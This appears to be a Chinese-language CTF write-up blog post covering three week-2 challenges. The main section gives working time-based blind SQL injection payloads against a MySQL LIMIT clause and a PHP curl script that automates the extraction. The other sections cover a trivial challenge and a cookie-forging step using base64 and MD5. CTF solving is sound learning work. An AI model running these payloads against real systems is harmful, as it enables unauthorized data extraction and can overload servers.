week2

week2 writeup~~这周题目比较简单,,已经拿了两题的一血了~

0x3 颇有技巧的SQL注入(Rank: 500)

这周唯一的难题就这道了,,,还超过Week1的难度。。。
看了简单的writeup。。。还是不懂。。。。决定。。还是先好好学SQL吧。。。。

=================================================write time : 1/2 10:00

经过会长大人的启发,,,经过一个晚上和早上的奋斗,,,终于拿下这题的一血。。。不过我写脚本的能力还不行,用php的curl跑,,老是把服务器跑瘫。。。所以最终只能半手工半脚本。。。。。。这里链接三个页面

我的下一篇博文
Payload
安全科普:SQLi Labs 指南 Part 1
PS:给我启发的是Part 2,自己自行搜索。。。如果上面三个链接里的都看不懂,,下面就不用看了。。因为也看不懂。。

会长的payload :

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) > 97, BENCHMARK (5000000,SHA1(1)),1))))),1);

开始用这个注,注出第一个数据库是i开头的,猜测information_schema,就没注了,第二个数据库注出来是”ctfaweekaaweb”,第三个”ctfaweekaaim”
(现在知道了注出来的这些有些字符串不对,有服务器崩了,和我脚本写的问题)。。。然后开始换思路,改payload,注出当前数据库,下面是我改的payload:

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST((select database()) AS CHAR),0x20)) LIMIT 0,1),1,1)) > 97 ,1, BENCHMARK(5000000,SHA1(1))))))),1);

注出来了当前数据库为ctf_week2_limit,现在看来就应该是我上面注出的第三个数据库。。。然后继续改payload注表名:

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(1,concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(table_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.TABLES where table_schema="ctf_week2_limit"  LIMIT 0,1),1,1)) < 97,1, BENCHMARK(5000000,SHA1(1))))))),1);

运气好,第一个表名就是flag,那方向应该就对了,,会长在他的博客中说了Flag在flag表中,接下来注字段名,下来是payload:

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(1,concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(column_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.columns where table_name="flag"  LIMIT 0,1),1,1)) > 97,1, BENCHMARK(5000000,SHA1(1))))))),1);

注出来两个字段名,ctf_limit_flag,和 flag,开头以为flag在字段名flag下,可是什么也没注出来,然后注ctf_limit_flag下的内容,注出了开头是hctf{然后就知道是这个了~~~下面是payload:

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(1,concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(ctf_limit_flag AS CHAR),0x20)) FROM ctf_week2_limit.flag LIMIT 0,1),1,1)) > 97 ,1, BENCHMARK(5000000,SHA1(1))))))),1);

====================================================write time : 4/2 11:00

发一个我写的难看的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//注当前数据库的脚本
for($j=1;$j<10;$j++){
for($i=47;$i<123;$i++){
$login_url = 'http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST((select database()) AS CHAR),0x20)) LIMIT 0,1),".$j.",1)) > ".$i." ,1, BENCHMARK(5000000,SHA1(1))))))),1);';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$stime=microtime(true);
$arr = curl_exec($ch);
$etime=microtime(true);
curl_close($ch);
//$total=$etime-$stime;
echo $total=$etime-$stime."<br>";
if($total>2){
echo chr($i);
$i = 123;
}
}
}

//在变量$j的位置必须改成手工。。。这个脚本拿去跑服务器会崩,然后就是在$j的位置从1开始一直跑到结束。。。什么情况是结束呢。。。我没有聪明的方法。。。笨方法是LIMIT 0,1),1,1)) > $i改成 LIMIT 0,1),1,1)) < 33为真的情况下结束了。。

==========================================================

然后就是要知道数据库的结构,在information_schema数据库中“SCHEMA”储存着你电脑上所以数据库名,“TABLES”储存着所有的表名,“COLUMNS”储存着表的字段名~~~~~~

==========================================================

//新手上路,大神勿喷

0x4 最简单的题目(Rank: 10)

打开题目链接,,果真是最简单的题目,,,放在眼前的flag都找不到就不要玩CTF了~~没什么好讲的。。

这题就是靠拼手速拿一血~~

=================================================write time : 1/2 10:00

0x5 基础训练(Rank: 100)

也是比较简单的一题,打开来一看,根据提示,首先看cookie:

flag:bGlnaHRsZXNzOjQ3NmExMGYxZjNkZGU1MWQxYjUyMjY3YzFhY2NjMzll

把flag后面的东西拿去base64解密,,,得到:

lightless:476a10f1f3dde51d1b52267c1accc39e

接着发现lightless进行md5加密后就可以得到后面的那串东西。。

接下来就是图片了。。放个图片在这,打酱油的可能性很小。。百度后得知:

鸢一折纸

得到图片上这女的罗马音为:Tobiichi Origami

然后造着原来的flag形式伪造cookie~~~得到:

Tobiichi Origami:097b235243b09755b3f586f201e8da8d

改cookie,提交~~

Get Flag!

==================================================write time : 1/2 10:00